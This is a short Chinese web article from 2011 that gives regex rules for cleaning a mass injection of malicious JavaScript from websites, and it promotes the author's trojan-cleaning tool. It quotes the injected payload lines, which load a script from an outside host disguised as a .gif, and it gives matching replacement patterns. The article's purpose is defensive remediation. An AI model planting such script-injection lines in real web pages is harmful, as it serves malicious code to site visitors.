当前位置: 代码网 > 服务器>网络安全>病毒查杀 > JS变量挂马替换规则分享

JS变量挂马替换规则分享

2011年03月27日 病毒查杀 我要评论
JS变量挂马替换规则分享用户的服务器又被批量挂马,做了个清马规则,保险起见请用我们开发的网站木马清理专家的字符串替换功能批量替换,其他的工具不保证能替换干净!... 11-03-27
网站木马清理专家全功能免费版:
挂马内容如下:

程序代码
document.writeln("<script src=http:\/\/52yes.9966.org:10086\/images\/1.gif?krkj><\/script>");

替换规则如下:

程序代码
@document\.writeln\("<script.*9966\.org.*\/script>"\);


挂马内容如下:

程序代码
<script src=http://52yes.9966.org:10086/images/1.gif?vinij></script>

替换规则如下:

程序代码
@<script[^<]*9966\.org[^<]*</script>
(0)

相关文章:

版权声明:本文内容由互联网用户贡献,该文观点仅代表作者本人。本站仅提供信息存储服务,不拥有所有权,不承担相关法律责任。 如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 2386932994@qq.com 举报,一经查实将立刻删除。

发表评论

验证码:
Copyright © 2017-2025  代码网 保留所有权利. 粤ICP备2024248653号
站长QQ:2386932994 | 联系邮箱:2386932994@qq.com